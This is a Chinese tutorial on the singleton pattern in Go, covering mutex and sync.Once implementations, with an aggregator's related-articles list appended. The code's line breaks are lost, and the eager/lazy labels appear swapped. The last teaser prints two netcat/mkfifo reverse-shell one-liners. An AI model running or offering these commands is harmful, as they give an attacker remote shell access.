【设计模式】单例模式|最常用的设计模式

写在前面

单例模式是最常用的设计模式之一,虽然简单,但是还是有一些小坑点需要注意。本文介绍单例模式并使用go语言实现一遍单例模式。

单例模式介绍

简介

单例模式保证一个类仅有一个实例,并提供一个访问它的全局访问点。

使用场景:

  1. 当类只能有一个实例而且可以从一个公开的众所周知的访问点访问它。
  2. 当这个唯一实例是通过子类化可扩展的,并且应该无须更改单例代码就能使用一个扩展的实例。

结构图
在这里插入图片描述

分类

单例里面分成了两种模式,一种是饿汉式,一种是懒汉式。

饿汉式

饿汉模式下的单例,只在使用实例的时候就创建了对象。
代码实例:

var req *Requesttype Request struct {
}func NewRequest() *Request {if req == nil {req = new(Request)}return req
}

这个代码看起来没什么问题,但是这段代码是线程不安全的。 因为如果有多个请求过来,就会同时创建多个对象,就会出现频繁的创建和删除对象,给gc造成很大的压力。

当然我们也可以加锁,但是频繁的加锁,解锁会严重影响系统的性能。

var req *Request
var lock sync.Mutextype Request struct {
}func NewRequest() *Request {lock.Lock()defer lock.Unlock()if req == nil {req = new(Request)}return req
}

每一个对象的创建,都需要加锁解锁,非常影响性能

懒汉式

懒汉式的单例模式可以解决我们饿汉式的缺点,并且是线程安全的,保证了我们对象全局唯一并且不会重复创建。

代码如下:

var req *Request
var reqOnce sync.Oncetype Request struct {
}func NewRequest() *Request {reqOnce.Do(func() {req = &Request{}})return req
}

这里我们用到go语言的 sync.Once 包,而sync.Once的作用就是使得我们的函数只执行一次。并且是并发安全的。

那为什么是并发安全的呢?接下来我们详解一下 sync.Once

sync.Once

sync.once 内部原理很简单,Once的结构题如下:

type Once struct {// done变量用来标识函数是否执行完毕done uint32// m用来保证函数执行期间,其他goroutine阻塞m    Mutex
}

这个Do方法是判断有无执行过这个该方法,并且是使用atomic.LoadUint32的原子操作。

func (o *Once) Do(f func()) {// 1.判断函数是否执行过,done=0说明没执行过if atomic.LoadUint32(&o.done) == 0 {o.doSlow(f)}
}
  1. 如果没执行过就执行这个方法,那么这里会有一个double check的工作,其实就是防止可能在上一次检查到这一次加锁加完的时间段间隙上有人执行完了这个函数

  2. 确认确实没有执行的时候,就执行函数,并进行原子操作标识,将 done 置为1。

func (o *Once) doSlow(f func()) {// 1.加锁o.m.Lock()// 5.函数返回后,释放锁defer o.m.Unlock()// 2.判断是否执行过if o.done == 0 {// 4.函数返回后,设置执行标识defer atomic.StoreUint32(&o.done, 1)// 3.具体执行函数f()}
}

应用场景举例子

我们可以在 service 上定义某一个方法的结构体函数,并将可以根据这个结构体函数进行方法的扩展。
在这里插入图片描述
在controll层只需要调用这个函数方法即可GetUserSrv()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/637914.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Hadoop高可用(High Availability)

Hadoop HA(High Availability) Hadoop 的高可用性,重点是确保存储(HDFS)和计算(YARN)资源在面对节点故障时能够继续正常运行。 1.概述 所谓HA(High Availablity)&…

Linux动态追踪——eBPF

目录 摘要 1 什么是 eBPF 2 eBPF 支持的功能 3 BCC 4 编写脚本 5 总结 6 附 摘要 ftrace 和 perf 与 ebpf 同为 linux 内核提供的动态追踪工具,其中 ftrace 侧重于事件跟踪和内核行为的实时分析,perf 更侧重于性能分析和事件统计,与…

ROS摄像机标定

文章目录 一、环境准备二、摄像头标定2.1 为什么要标定2.2 标定前准备2.2.1 标定板2.2.2 摄像头调焦 2.3 开始标定2.4 测试标定结果 总结参考资料 一、环境准备 安装usb_cam相机驱动 sudo apt-get install ros-noetic-usb-cam 安装标定功能包 sudo apt-get install ros-noet…

Vitis HLS 学习笔记--HLS优化指令示例-目录

目录 1. 示例集合概述 2. 内容分析 2.1 array_partition 2.2 bind_op_storage 2.3 burst_rw 2.4 critical_path 2.5 custom_datatype 2.6 dataflow_stream 2.7 dataflow_stream_array 2.8 dependence_inter 2.9 gmem_2banks 2.10 kernel_chain 2.11 lmem_2rw 2.1…

从零实现诗词GPT大模型:实现Transformer架构

专栏规划: https://qibin.blog.csdn.net/article/details/137728228 首先说明一下,跟其他文章不太一样,在本篇文章中不会对Transformer架构中的自注意力机制进行讲解,而是后面单独1~2篇文章详细讲解自注意力机制,我认为由浅入深的先了解Transformer整体架构和其中比较简单…

Java之类和对象

一面向对象的初步认知 1.什么是面向对象 Java是一门纯面向对象的语言(Object Oriented Program,简称OOP),在面向对象的世界里,一切皆为对象。面向对象是解决问题的一种思想,主要依靠对象之间的交互完成一件事情。用面向对象的思想…

政安晨:【Keras机器学习示例演绎】(八)—— 利用 PointNet 进行点云分割

目录 简介 导入 下载数据集 加载数据集 构建数据集 预处理 创建 TensorFlow 数据集 PointNet 模型 排列不变性 变换不变性 点之间的相互作用 实例化模型 训练 直观了解培训情况 推论 最后说明 政安晨的个人主页:政安晨 欢迎 👍点赞✍评论…

【AI开发:音频】二、GPT-SoVITS使用方法和过程中出现的问题(GPU版)

1.FileNotFoundError: [Errno 2] No such file or directory: logs/guanshenxxx/2-name2text-0.txt 这个问题中包含了两个: 第一个:No module named pyopenjtalk 我的电脑出现的就是这个 解决:pip install pyopenjtalk 第二个&#xff1a…

Wpf 使用 Prism 实战开发Day21

配置默认首页 当应用程序启动时&#xff0c;默认显示首页 一.实现思路&#xff0c;通过自定义接口来配置应用程序加载完成时&#xff0c;设置默认显示页 步骤1.创建自定义 IConfigureService 接口 namespace MyToDo.Common {/// <summary>/// 配置默认显示页接口/// <…

深入理解CAS机制-基础使用与三大问题

&#x1f3f7;️个人主页&#xff1a;牵着猫散步的鼠鼠 &#x1f3f7;️系列专栏&#xff1a;Java全栈-专栏 &#x1f3f7;️个人学习笔记&#xff0c;若有缺误&#xff0c;欢迎评论区指正 目录 1. 前言 2. 原子性问题 3. 乐观锁与悲观锁 4. CAS操作 5. CAS算法带来的三大…

第24天:安全开发-PHP应用文件管理模块显示上传黑白名单类型过滤访问控制

第二十四天 一、PHP文件管理-显示&上传功能实现 如果被抓包抓到数据包&#xff0c;并修改Content-Type内容 则也可以绕过筛查 正常进行上传和下载 二、文件上传-$_FILES&过滤机制实现 无过滤机制 黑名单过滤机制 使用 explode 函数通过点号分割文件名&#xff0c;…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…